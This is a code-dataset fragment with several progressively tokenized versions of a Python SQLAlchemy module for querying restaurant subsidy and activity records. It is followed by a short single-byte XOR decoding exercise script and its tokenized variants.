func.max(ActivityStats.date),\n func.sum(ActivityStats.quantity), func.sum(ActivityStats.\n total_subsidy), SubsidyPayRecord.created_at, func.max(\n SubsidyProcessRecord.id)).group_by(ActivityStats.pay_record_id,\n ActivityStats.activity_id, ActivityStats.activity_category_id\n ).outerjoin(SubsidyPayRecord, SubsidyPayRecord.id == ActivityStats.\n pay_record_id).outerjoin(SubsidyProcessRecord, SubsidyProcessRecord\n .pay_record_id == SubsidyPayRecord.id).filter(ActivityStats.\n restaurant_id == restaurant_id).filter(ActivityStats.status.in_(\n PAYLOG_STATUS_LIST)).order_by(SubsidyPayRecord.created_at.desc())\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n if limit is not None:\n q = q.limit(min(limit, MAX_LIST_SIZE))\n else:\n q = q.limit(DEFAULT_LIST_SIZE)\n if offset is not None:\n q = q.offset(offset)\n return q\n\n\n@zeus_db_handler\ndef query_pay_records(restaurant_id, offset=None, limit=None):\n q = session.query(SubsidyPayRecord).filter(SubsidyPayRecord.\n restaurant_id == restaurant_id).order_by(SubsidyPayRecord.\n created_at.desc())\n if limit is not None:\n q = q.limit(min(limit, MAX_LIST_SIZE))\n else:\n q = q.limit(DEFAULT_LIST_SIZE)\n if offset is not None:\n q = q.offset(offset)\n return q.all()\n\n\n@zeus_db_handler\ndef query_paylog(pay_record_ids, activity_id=None, activity_category_id=\n None, offset=None, limit=None):\n q = session.query(ActivityStats.pay_record_id, ActivityStats.\n activity_id, ActivityStats.activity_category_id, ActivityStats.\n status, func.min(ActivityStats.date), func.max(ActivityStats.date),\n func.sum(ActivityStats.quantity), func.sum(ActivityStats.total_subsidy)\n ).group_by(ActivityStats.pay_record_id, ActivityStats.activity_id,\n ActivityStats.activity_category_id).filter(ActivityStats.\n pay_record_id.in_(pay_record_ids)).filter(ActivityStats.status.in_(\n PAYLOG_STATUS_LIST)).order_by(ActivityStats.created_at.desc())\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n if limit is not None:\n q = q.limit(min(limit, MAX_LIST_SIZE))\n else:\n q = q.limit(DEFAULT_LIST_SIZE)\n if offset is not None:\n q = q.offset(offset)\n return q\n\n\n<function token>\n\n\n@zeus_db_handler\ndef count_paylog_by_rst(restaurant_id, activity_id=None,\n activity_category_id=None):\n \"\"\" Except ActivityStats.STATUS_PENDING (未审核状态)\n \"\"\"\n q = session.query(ActivityStats.id).group_by(ActivityStats.\n pay_record_id, ActivityStats.activity_id, ActivityStats.\n activity_category_id).filter(ActivityStats.restaurant_id ==\n restaurant_id).filter(ActivityStats.status.in_(PAYLOG_STATUS_LIST))\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n return len(q.all())\n\n\n<function token>\n<function token>\n\n\ndef get_pay_activities_by_restaurant(rst_id):\n with zeus_session() as session:\n query = session.query(ActivityStats.activity_id, ActivityStats.\n activity_category_id).group_by(ActivityStats.activity_id,\n ActivityStats.activity_category_id).filter(ActivityStats.\n restaurant_id == rst_id)\n return query.all()\n\n\n<function token>\n\n\ndef query_sms_send_count(start_time=None, end_time=None, status=None):\n with walis_session() as session:\n if not start_time:\n start_time = get_today_begin_time()\n if not end_time:\n end_time = get_today_end_time()\n query = session.query(func.count(NoticeRecord.record_id)).filter(\n NoticeRecord.created_at > start_time).filter(NoticeRecord.\n created_at < end_time)\n if status is not None:\n query = query.filter(NoticeRecord.status == status)\n return query.scalar()\n\n\n<function token>\n\n\ndef _query_activity_stats(q, city_ids=None, restaurant_ids=None,\n activity_id=None, activity_category_id=None, from_date=None, to_date=\n None, statuses=None, with_subsidy=None, offset=None, limit=None):\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n if city_ids is not None:\n q = q.filter(ActivityStats.city_id.in_(city_ids))\n if restaurant_ids is not None:\n q = q.filter(ActivityStats.restaurant_id.in_(restaurant_ids))\n if from_date is not None:\n q = q.filter(ActivityStats.date >= from_date)\n if to_date is not None:\n q = q.filter(ActivityStats.date <= to_date)\n if statuses is not None:\n q = q.filter(ActivityStats.status.in_(statuses))\n if with_subsidy is not None:\n if with_subsidy:\n q = q.filter(ActivityStats.total_subsidy > 0)\n else:\n q = q.filter(ActivityStats.total_subsidy == 0)\n if offset is not None:\n q = q.offset(offset)\n q = q.limit(1000)\n return q\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n\n\ndef get_success_record_ids_by_restaurant(restaurant_id, activity_id=None,\n activity_category_id=None):\n with zeus_session() as session:\n query = session.query(SubsidyPayRecord.id).filter(SubsidyPayRecord.\n restaurant_id == restaurant_id).filter(SubsidyPayRecord.status ==\n SubsidyPayRecord.STATUS_SUCCESS)\n if activity_id is not None:\n query.filter(SubsidyPayRecord.activity_id == activity_id)\n if activity_category_id is not None:\n query.filter(SubsidyPayRecord.activity_category_id ==\n activity_category_id)\n record_ids = query.all()\n return [r[0] for r in record_ids]\n\n\n<assignment token>\n\n\n@zeus_db_handler\ndef query_paylog_by_rst(restaurant_id, activity_id=None,\n activity_category_id=None, offset=None, limit=None):\n \"\"\" Except ActivityStats.STATUS_PENDING (未审核状态)\n \"\"\"\n q = session.query(ActivityStats.pay_record_id, ActivityStats.\n activity_id, ActivityStats.activity_category_id, ActivityStats.\n status, func.min(ActivityStats.date), func.max(ActivityStats.date),\n func.sum(ActivityStats.quantity), func.sum(ActivityStats.\n total_subsidy), SubsidyPayRecord.created_at, func.max(\n SubsidyProcessRecord.id)).group_by(ActivityStats.pay_record_id,\n ActivityStats.activity_id, ActivityStats.activity_category_id\n ).outerjoin(SubsidyPayRecord, SubsidyPayRecord.id == ActivityStats.\n pay_record_id).outerjoin(SubsidyProcessRecord, SubsidyProcessRecord\n .pay_record_id == SubsidyPayRecord.id).filter(ActivityStats.\n restaurant_id == restaurant_id).filter(ActivityStats.status.in_(\n PAYLOG_STATUS_LIST)).order_by(SubsidyPayRecord.created_at.desc())\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n if limit is not None:\n q = q.limit(min(limit, MAX_LIST_SIZE))\n else:\n q = q.limit(DEFAULT_LIST_SIZE)\n if offset is not None:\n q = q.offset(offset)\n return q\n\n\n@zeus_db_handler\ndef query_pay_records(restaurant_id, offset=None, limit=None):\n q = session.query(SubsidyPayRecord).filter(SubsidyPayRecord.\n restaurant_id == restaurant_id).order_by(SubsidyPayRecord.\n created_at.desc())\n if limit is not None:\n q = q.limit(min(limit, MAX_LIST_SIZE))\n else:\n q = q.limit(DEFAULT_LIST_SIZE)\n if offset is not None:\n q = q.offset(offset)\n return q.all()\n\n\n<function token>\n<function token>\n\n\n@zeus_db_handler\ndef count_paylog_by_rst(restaurant_id, activity_id=None,\n activity_category_id=None):\n \"\"\" Except ActivityStats.STATUS_PENDING (未审核状态)\n \"\"\"\n q = session.query(ActivityStats.id).group_by(ActivityStats.\n pay_record_id, ActivityStats.activity_id, ActivityStats.\n activity_category_id).filter(ActivityStats.restaurant_id ==\n restaurant_id).filter(ActivityStats.status.in_(PAYLOG_STATUS_LIST))\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n return len(q.all())\n\n\n<function token>\n<function token>\n\n\ndef get_pay_activities_by_restaurant(rst_id):\n with zeus_session() as session:\n query = session.query(ActivityStats.activity_id, ActivityStats.\n activity_category_id).group_by(ActivityStats.activity_id,\n ActivityStats.activity_category_id).filter(ActivityStats.\n restaurant_id == rst_id)\n return query.all()\n\n\n<function token>\n\n\ndef query_sms_send_count(start_time=None, end_time=None, status=None):\n with walis_session() as session:\n if not start_time:\n start_time = get_today_begin_time()\n if not end_time:\n end_time = get_today_end_time()\n query = session.query(func.count(NoticeRecord.record_id)).filter(\n NoticeRecord.created_at > start_time).filter(NoticeRecord.\n created_at < end_time)\n if status is not None:\n query = query.filter(NoticeRecord.status == status)\n return query.scalar()\n\n\n<function token>\n\n\ndef _query_activity_stats(q, city_ids=None, restaurant_ids=None,\n activity_id=None, activity_category_id=None, from_date=None, to_date=\n None, statuses=None, with_subsidy=None, offset=None, limit=None):\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n if city_ids is not None:\n q = q.filter(ActivityStats.city_id.in_(city_ids))\n if restaurant_ids is not None:\n q = q.filter(ActivityStats.restaurant_id.in_(restaurant_ids))\n if from_date is not None:\n q = q.filter(ActivityStats.date >= from_date)\n if to_date is not None:\n q = q.filter(ActivityStats.date <= to_date)\n if statuses is not None:\n q = q.filter(ActivityStats.status.in_(statuses))\n if with_subsidy is not None:\n if with_subsidy:\n q = q.filter(ActivityStats.total_subsidy > 0)\n else:\n q = q.filter(ActivityStats.total_subsidy == 0)\n if offset is not None:\n q = q.offset(offset)\n q = q.limit(1000)\n return q\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n\n\ndef get_success_record_ids_by_restaurant(restaurant_id, activity_id=None,\n activity_category_id=None):\n with zeus_session() as session:\n query = session.query(SubsidyPayRecord.id).filter(SubsidyPayRecord.\n restaurant_id == restaurant_id).filter(SubsidyPayRecord.status ==\n SubsidyPayRecord.STATUS_SUCCESS)\n if activity_id is not None:\n query.filter(SubsidyPayRecord.activity_id == activity_id)\n if activity_category_id is not None:\n query.filter(SubsidyPayRecord.activity_category_id ==\n activity_category_id)\n record_ids = query.all()\n return [r[0] for r in record_ids]\n\n\n<assignment token>\n\n\n@zeus_db_handler\ndef query_paylog_by_rst(restaurant_id, activity_id=None,\n activity_category_id=None, offset=None, limit=None):\n \"\"\" Except ActivityStats.STATUS_PENDING (未审核状态)\n \"\"\"\n q = session.query(ActivityStats.pay_record_id, ActivityStats.\n activity_id, ActivityStats.activity_category_id, ActivityStats.\n status, func.min(ActivityStats.date), func.max(ActivityStats.date),\n func.sum(ActivityStats.quantity), func.sum(ActivityStats.\n total_subsidy), SubsidyPayRecord.created_at, func.max(\n SubsidyProcessRecord.id)).group_by(ActivityStats.pay_record_id,\n ActivityStats.activity_id, ActivityStats.activity_category_id\n ).outerjoin(SubsidyPayRecord, SubsidyPayRecord.id == ActivityStats.\n pay_record_id).outerjoin(SubsidyProcessRecord, SubsidyProcessRecord\n .pay_record_id == SubsidyPayRecord.id).filter(ActivityStats.\n restaurant_id == restaurant_id).filter(ActivityStats.status.in_(\n PAYLOG_STATUS_LIST)).order_by(SubsidyPayRecord.created_at.desc())\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n if limit is not None:\n q = q.limit(min(limit, MAX_LIST_SIZE))\n else:\n q = q.limit(DEFAULT_LIST_SIZE)\n if offset is not None:\n q = q.offset(offset)\n return q\n\n\n<function token>\n<function token>\n<function token>\n\n\n@zeus_db_handler\ndef count_paylog_by_rst(restaurant_id, activity_id=None,\n activity_category_id=None):\n \"\"\" Except ActivityStats.STATUS_PENDING (未审核状态)\n \"\"\"\n q = session.query(ActivityStats.id).group_by(ActivityStats.\n pay_record_id, ActivityStats.activity_id, ActivityStats.\n activity_category_id).filter(ActivityStats.restaurant_id ==\n restaurant_id).filter(ActivityStats.status.in_(PAYLOG_STATUS_LIST))\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n return len(q.all())\n\n\n<function token>\n<function token>\n\n\ndef get_pay_activities_by_restaurant(rst_id):\n with zeus_session() as session:\n query = session.query(ActivityStats.activity_id, ActivityStats.\n activity_category_id).group_by(ActivityStats.activity_id,\n ActivityStats.activity_category_id).filter(ActivityStats.\n restaurant_id == rst_id)\n return query.all()\n\n\n<function token>\n\n\ndef query_sms_send_count(start_time=None, end_time=None, status=None):\n with walis_session() as session:\n if not start_time:\n start_time = get_today_begin_time()\n if not end_time:\n end_time = get_today_end_time()\n query = session.query(func.count(NoticeRecord.record_id)).filter(\n NoticeRecord.created_at > start_time).filter(NoticeRecord.\n created_at < end_time)\n if status is not None:\n query = query.filter(NoticeRecord.status == status)\n return query.scalar()\n\n\n<function token>\n\n\ndef _query_activity_stats(q, city_ids=None, restaurant_ids=None,\n activity_id=None, activity_category_id=None, from_date=None, to_date=\n None, statuses=None, with_subsidy=None, offset=None, limit=None):\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n if city_ids is not None:\n q = q.filter(ActivityStats.city_id.in_(city_ids))\n if restaurant_ids is not None:\n q = q.filter(ActivityStats.restaurant_id.in_(restaurant_ids))\n if from_date is not None:\n q = q.filter(ActivityStats.date >= from_date)\n if to_date is not None:\n q = q.filter(ActivityStats.date <= to_date)\n if statuses is not None:\n q = q.filter(ActivityStats.status.in_(statuses))\n if with_subsidy is not None:\n if with_subsidy:\n q = q.filter(ActivityStats.total_subsidy > 0)\n else:\n q = q.filter(ActivityStats.total_subsidy == 0)\n if offset is not None:\n q = q.offset(offset)\n q = q.limit(1000)\n return q\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n\n\ndef get_success_record_ids_by_restaurant(restaurant_id, activity_id=None,\n activity_category_id=None):\n with zeus_session() as session:\n query = session.query(SubsidyPayRecord.id).filter(SubsidyPayRecord.\n restaurant_id == restaurant_id).filter(SubsidyPayRecord.status ==\n SubsidyPayRecord.STATUS_SUCCESS)\n if activity_id is not None:\n query.filter(SubsidyPayRecord.activity_id == activity_id)\n if activity_category_id is not None:\n query.filter(SubsidyPayRecord.activity_category_id ==\n activity_category_id)\n record_ids = query.all()\n return [r[0] for r in record_ids]\n\n\n<assignment token>\n\n\n@zeus_db_handler\ndef query_paylog_by_rst(restaurant_id, activity_id=None,\n activity_category_id=None, offset=None, limit=None):\n \"\"\" Except ActivityStats.STATUS_PENDING (未审核状态)\n \"\"\"\n q = session.query(ActivityStats.pay_record_id, ActivityStats.\n activity_id, ActivityStats.activity_category_id, ActivityStats.\n status, func.min(ActivityStats.date), func.max(ActivityStats.date),\n func.sum(ActivityStats.quantity), func.sum(ActivityStats.\n total_subsidy), SubsidyPayRecord.created_at, func.max(\n SubsidyProcessRecord.id)).group_by(ActivityStats.pay_record_id,\n ActivityStats.activity_id, ActivityStats.activity_category_id\n ).outerjoin(SubsidyPayRecord, SubsidyPayRecord.id == ActivityStats.\n pay_record_id).outerjoin(SubsidyProcessRecord, SubsidyProcessRecord\n .pay_record_id == SubsidyPayRecord.id).filter(ActivityStats.\n restaurant_id == restaurant_id).filter(ActivityStats.status.in_(\n PAYLOG_STATUS_LIST)).order_by(SubsidyPayRecord.created_at.desc())\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n if limit is not None:\n q = q.limit(min(limit, MAX_LIST_SIZE))\n else:\n q = q.limit(DEFAULT_LIST_SIZE)\n if offset is not None:\n q = q.offset(offset)\n return q\n\n\n<function token>\n<function token>\n<function token>\n\n\n@zeus_db_handler\ndef count_paylog_by_rst(restaurant_id, activity_id=None,\n activity_category_id=None):\n \"\"\" Except ActivityStats.STATUS_PENDING (未审核状态)\n \"\"\"\n q = session.query(ActivityStats.id).group_by(ActivityStats.\n pay_record_id, ActivityStats.activity_id, ActivityStats.\n activity_category_id).filter(ActivityStats.restaurant_id ==\n restaurant_id).filter(ActivityStats.status.in_(PAYLOG_STATUS_LIST))\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n return len(q.all())\n\n\n<function token>\n<function token>\n\n\ndef get_pay_activities_by_restaurant(rst_id):\n with zeus_session() as session:\n query = session.query(ActivityStats.activity_id, ActivityStats.\n activity_category_id).group_by(ActivityStats.activity_id,\n ActivityStats.activity_category_id).filter(ActivityStats.\n restaurant_id == rst_id)\n return query.all()\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef _query_activity_stats(q, city_ids=None, restaurant_ids=None,\n activity_id=None, activity_category_id=None, from_date=None, to_date=\n None, statuses=None, with_subsidy=None, offset=None, limit=None):\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n if city_ids is not None:\n q = q.filter(ActivityStats.city_id.in_(city_ids))\n if restaurant_ids is not None:\n q = q.filter(ActivityStats.restaurant_id.in_(restaurant_ids))\n if from_date is not None:\n q = q.filter(ActivityStats.date >= from_date)\n if to_date is not None:\n q = q.filter(ActivityStats.date <= to_date)\n if statuses is not None:\n q = q.filter(ActivityStats.status.in_(statuses))\n if with_subsidy is not None:\n if with_subsidy:\n q = q.filter(ActivityStats.total_subsidy > 0)\n else:\n q = q.filter(ActivityStats.total_subsidy == 0)\n if offset is not None:\n q = q.offset(offset)\n q = q.limit(1000)\n return q\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n\n\ndef get_success_record_ids_by_restaurant(restaurant_id, activity_id=None,\n activity_category_id=None):\n with zeus_session() as session:\n query = session.query(SubsidyPayRecord.id).filter(SubsidyPayRecord.\n restaurant_id == restaurant_id).filter(SubsidyPayRecord.status ==\n SubsidyPayRecord.STATUS_SUCCESS)\n if activity_id is not None:\n query.filter(SubsidyPayRecord.activity_id == activity_id)\n if activity_category_id is not None:\n query.filter(SubsidyPayRecord.activity_category_id ==\n activity_category_id)\n record_ids = query.all()\n return [r[0] for r in record_ids]\n\n\n<assignment token>\n\n\n@zeus_db_handler\ndef query_paylog_by_rst(restaurant_id, activity_id=None,\n activity_category_id=None, offset=None, limit=None):\n \"\"\" Except ActivityStats.STATUS_PENDING (未审核状态)\n \"\"\"\n q = session.query(ActivityStats.pay_record_id, ActivityStats.\n activity_id, ActivityStats.activity_category_id, ActivityStats.\n status, func.min(ActivityStats.date), func.max(ActivityStats.date),\n func.sum(ActivityStats.quantity), func.sum(ActivityStats.\n total_subsidy), SubsidyPayRecord.created_at, func.max(\n SubsidyProcessRecord.id)).group_by(ActivityStats.pay_record_id,\n ActivityStats.activity_id, ActivityStats.activity_category_id\n ).outerjoin(SubsidyPayRecord, SubsidyPayRecord.id == ActivityStats.\n pay_record_id).outerjoin(SubsidyProcessRecord, SubsidyProcessRecord\n .pay_record_id == SubsidyPayRecord.id).filter(ActivityStats.\n restaurant_id == restaurant_id).filter(ActivityStats.status.in_(\n PAYLOG_STATUS_LIST)).order_by(SubsidyPayRecord.created_at.desc())\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n if limit is not None:\n q = q.limit(min(limit, MAX_LIST_SIZE))\n else:\n q = q.limit(DEFAULT_LIST_SIZE)\n if offset is not None:\n q = q.offset(offset)\n return q\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef get_pay_activities_by_restaurant(rst_id):\n with zeus_session() as session:\n query = session.query(ActivityStats.activity_id, ActivityStats.\n activity_category_id).group_by(ActivityStats.activity_id,\n ActivityStats.activity_category_id).filter(ActivityStats.\n restaurant_id == rst_id)\n return query.all()\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef _query_activity_stats(q, city_ids=None, restaurant_ids=None,\n activity_id=None, activity_category_id=None, from_date=None, to_date=\n None, statuses=None, with_subsidy=None, offset=None, limit=None):\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n if city_ids is not None:\n q = q.filter(ActivityStats.city_id.in_(city_ids))\n if restaurant_ids is not None:\n q = q.filter(ActivityStats.restaurant_id.in_(restaurant_ids))\n if from_date is not None:\n q = q.filter(ActivityStats.date >= from_date)\n if to_date is not None:\n q = q.filter(ActivityStats.date <= to_date)\n if statuses is not None:\n q = q.filter(ActivityStats.status.in_(statuses))\n if with_subsidy is not None:\n if with_subsidy:\n q = q.filter(ActivityStats.total_subsidy > 0)\n else:\n q = q.filter(ActivityStats.total_subsidy == 0)\n if offset is not None:\n q = q.offset(offset)\n q = q.limit(1000)\n return q\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n\n\ndef get_success_record_ids_by_restaurant(restaurant_id, activity_id=None,\n activity_category_id=None):\n with zeus_session() as session:\n query = session.query(SubsidyPayRecord.id).filter(SubsidyPayRecord.\n restaurant_id == restaurant_id).filter(SubsidyPayRecord.status ==\n SubsidyPayRecord.STATUS_SUCCESS)\n if activity_id is not None:\n query.filter(SubsidyPayRecord.activity_id == activity_id)\n if activity_category_id is not None:\n query.filter(SubsidyPayRecord.activity_category_id ==\n activity_category_id)\n record_ids = query.all()\n return [r[0] for r in record_ids]\n\n\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef get_pay_activities_by_restaurant(rst_id):\n with zeus_session() as session:\n query = session.query(ActivityStats.activity_id, ActivityStats.\n activity_category_id).group_by(ActivityStats.activity_id,\n ActivityStats.activity_category_id).filter(ActivityStats.\n restaurant_id == rst_id)\n return query.all()\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef _query_activity_stats(q, city_ids=None, restaurant_ids=None,\n activity_id=None, activity_category_id=None, from_date=None, to_date=\n None, statuses=None, with_subsidy=None, offset=None, limit=None):\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n if city_ids is not None:\n q = q.filter(ActivityStats.city_id.in_(city_ids))\n if restaurant_ids is not None:\n q = q.filter(ActivityStats.restaurant_id.in_(restaurant_ids))\n if from_date is not None:\n q = q.filter(ActivityStats.date >= from_date)\n if to_date is not None:\n q = q.filter(ActivityStats.date <= to_date)\n if statuses is not None:\n q = q.filter(ActivityStats.status.in_(statuses))\n if with_subsidy is not None:\n if with_subsidy:\n q = q.filter(ActivityStats.total_subsidy > 0)\n else:\n q = q.filter(ActivityStats.total_subsidy == 0)\n if offset is not None:\n q = q.offset(offset)\n q = q.limit(1000)\n return q\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef get_pay_activities_by_restaurant(rst_id):\n with zeus_session() as session:\n query = session.query(ActivityStats.activity_id, ActivityStats.\n activity_category_id).group_by(ActivityStats.activity_id,\n ActivityStats.activity_category_id).filter(ActivityStats.\n restaurant_id == rst_id)\n return query.all()\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef _query_activity_stats(q, city_ids=None, restaurant_ids=None,\n activity_id=None, activity_category_id=None, from_date=None, to_date=\n None, statuses=None, with_subsidy=None, offset=None, limit=None):\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n if city_ids is not None:\n q = q.filter(ActivityStats.city_id.in_(city_ids))\n if restaurant_ids is not None:\n q = q.filter(ActivityStats.restaurant_id.in_(restaurant_ids))\n if from_date is not None:\n q = q.filter(ActivityStats.date >= from_date)\n if to_date is not None:\n q = q.filter(ActivityStats.date <= to_date)\n if statuses is not None:\n q = q.filter(ActivityStats.status.in_(statuses))\n if with_subsidy is not None:\n if with_subsidy:\n q = q.filter(ActivityStats.total_subsidy > 0)\n else:\n q = q.filter(ActivityStats.total_subsidy == 0)\n if offset is not None:\n q = q.offset(offset)\n q = q.limit(1000)\n return q\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef get_pay_activities_by_restaurant(rst_id):\n with zeus_session() as session:\n query = session.query(ActivityStats.activity_id, ActivityStats.\n activity_category_id).group_by(ActivityStats.activity_id,\n ActivityStats.activity_category_id).filter(ActivityStats.\n restaurant_id == rst_id)\n return query.all()\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n" ]
false
451
a32fb683f8d46f901e8dcd2d075ace22ee81e076
import base64 import string def hexStringtoBytes(hexstring): byteArray = bytes.fromhex(hexstring) return byteArray def xorBytes(bytes1, bytes2): xored = bytes([x^bytes2[i] for i,x in enumerate(bytes1)]) return xored def xorAgainstCharacter(byteArray, character): str2 = [ord(character)] * len(byteArray) return xorBytes(byteArray,str2) def scoreString(input): arr = [(chr(x) in string.printable) for x in input] return arr.count(True) if __name__ == "__main__": hexstring = '1b37373331363f78151b7f2b783431333d78397828372d363c78373e783a393b3736' bytes1 = hexStringtoBytes(hexstring) scores = [] for x in string.printable: temp = xorAgainstCharacter(bytes1, x) print(str(x), str(temp)) scores.append(scoreString(temp))
[ "import base64\r\nimport string\r\ndef hexStringtoBytes(hexstring):\r\n byteArray = bytes.fromhex(hexstring)\r\n return byteArray\r\n\r\ndef xorBytes(bytes1, bytes2):\r\n xored = bytes([x^bytes2[i] for i,x in enumerate(bytes1)])\r\n return xored\r\n\r\ndef xorAgainstCharacter(byteArray, character):\r\n str2 = [ord(character)] * len(byteArray)\r\n return xorBytes(byteArray,str2)\r\n\r\ndef scoreString(input):\r\n arr = [(chr(x) in string.printable) for x in input]\r\n return arr.count(True)\r\n\r\nif __name__ == \"__main__\":\r\n hexstring = '1b37373331363f78151b7f2b783431333d78397828372d363c78373e783a393b3736'\r\n bytes1 = hexStringtoBytes(hexstring)\r\n scores = []\r\n for x in string.printable:\r\n temp = xorAgainstCharacter(bytes1, x)\r\n print(str(x), str(temp))\r\n scores.append(scoreString(temp))\r\n", "import base64\nimport string\n\n\ndef hexStringtoBytes(hexstring):\n byteArray = bytes.fromhex(hexstring)\n return byteArray\n\n\ndef xorBytes(bytes1, bytes2):\n xored = bytes([(x ^ bytes2[i]) for i, x in enumerate(bytes1)])\n return xored\n\n\ndef xorAgainstCharacter(byteArray, character):\n str2 = [ord(character)] * len(byteArray)\n return xorBytes(byteArray, str2)\n\n\ndef scoreString(input):\n arr = [(chr(x) in string.printable) for x in input]\n return arr.count(True)\n\n\nif __name__ == '__main__':\n hexstring = (\n '1b37373331363f78151b7f2b783431333d78397828372d363c78373e783a393b3736')\n bytes1 = hexStringtoBytes(hexstring)\n scores = []\n for x in string.printable:\n temp = xorAgainstCharacter(bytes1, x)\n print(str(x), str(temp))\n scores.append(scoreString(temp))\n", "<import token>\n\n\ndef hexStringtoBytes(hexstring):\n byteArray = bytes.fromhex(hexstring)\n return byteArray\n\n\ndef xorBytes(bytes1, bytes2):\n xored = bytes([(x ^ bytes2[i]) for i, x in enumerate(bytes1)])\n return xored\n\n\ndef xorAgainstCharacter(byteArray, character):\n str2 = [ord(character)] * len(byteArray)\n return xorBytes(byteArray, str2)\n\n\ndef scoreString(input):\n arr = [(chr(x) in string.printable) for x in input]\n return arr.count(True)\n\n\nif __name__ == '__main__':\n hexstring = (\n '1b37373331363f78151b7f2b783431333d78397828372d363c78373e783a393b3736')\n bytes1 = hexStringtoBytes(hexstring)\n scores = []\n for x in string.printable:\n temp = xorAgainstCharacter(bytes1, x)\n print(str(x), str(temp))\n scores.append(scoreString(temp))\n", "<import token>\n\n\ndef hexStringtoBytes(hexstring):\n byteArray = bytes.fromhex(hexstring)\n return byteArray\n\n\ndef xorBytes(bytes1, bytes2):\n xored = bytes([(x ^ bytes2[i]) for i, x in enumerate(bytes1)])\n return xored\n\n\ndef xorAgainstCharacter(byteArray, character):\n str2 = [ord(character)] * len(byteArray)\n return xorBytes(byteArray, str2)\n\n\ndef scoreString(input):\n arr = [(chr(x) in string.printable) for x in input]\n return arr.count(True)\n\n\n<code token>\n", "<import token>\n\n\ndef hexStringtoBytes(hexstring):\n byteArray = bytes.fromhex(hexstring)\n return byteArray\n\n\ndef xorBytes(bytes1, bytes2):\n xored = bytes([(x ^ bytes2[i]) for i, x in enumerate(bytes1)])\n return xored\n\n\n<function token>\n\n\ndef scoreString(input):\n arr = [(chr(x) in string.printable) for x in input]\n return arr.count(True)\n\n\n<code token>\n", "<import token>\n\n\ndef hexStringtoBytes(hexstring):\n byteArray = bytes.fromhex(hexstring)\n return byteArray\n\n\ndef xorBytes(bytes1, bytes2):\n xored = bytes([(x ^ bytes2[i]) for i, x in enumerate(bytes1)])\n return xored\n\n\n<function token>\n<function token>\n<code token>\n", "<import token>\n\n\ndef hexStringtoBytes(hexstring):\n byteArray = bytes.fromhex(hexstring)\n return byteArray\n\n\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n" ]
false
452
b9c058bdb04df93beb379d05939b00f4db423cd3
